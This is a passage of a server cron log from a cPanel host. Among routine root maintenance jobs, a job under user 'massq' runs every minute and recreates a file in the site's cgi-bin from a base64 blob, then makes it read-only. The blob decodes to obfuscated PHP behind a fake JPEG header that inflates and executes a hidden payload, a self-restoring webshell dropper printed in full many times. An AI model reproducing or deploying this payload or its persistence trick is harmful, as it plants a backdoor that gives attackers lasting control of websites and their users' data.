"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:12:01 server CROND[27296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:12:01 server CROND[27297]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:12:01 server CROND[27298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:12:01 server CROND[27299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:13:01 server CROND[27687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:13:01 server CROND[27688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:13:01 server CROND[27689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:14:01 server CROND[28070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:14:01 server CROND[28071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:14:01 server CROND[28072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:15:01 server CROND[28472]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 02:15:01 server CROND[28474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:15:01 server CROND[28476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:15:01 server CROND[28489]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 02:15:01 server CROND[28479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:15:01 server CROND[28487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:15:01 server CROND[28491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:15:01 server CROND[28486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:15:01 server CROND[28488]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:16:01 server CROND[29444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:16:01 server CROND[29445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:16:01 server CROND[29446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:17:01 server CROND[29835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:17:01 server CROND[29836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:17:01 server CROND[29837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:18:01 server CROND[30232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:18:01 server CROND[30233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:18:01 server CROND[30236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:19:01 server CROND[30630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:19:01 server CROND[30631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:19:01 server CROND[30632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:20:01 server CROND[31358]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:20:01 server CROND[31359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:20:01 server CROND[31360]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:20:01 server CROND[31365]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:20:01 server CROND[31367]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:20:01 server CROND[31371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:20:01 server CROND[31373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:20:01 server CROND[31369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:20:01 server CROND[31370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:21:01 server CROND[32424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:21:01 server CROND[32425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:21:01 server CROND[32426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:22:01 server CROND[360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:22:01 server CROND[361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:22:01 server CROND[362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
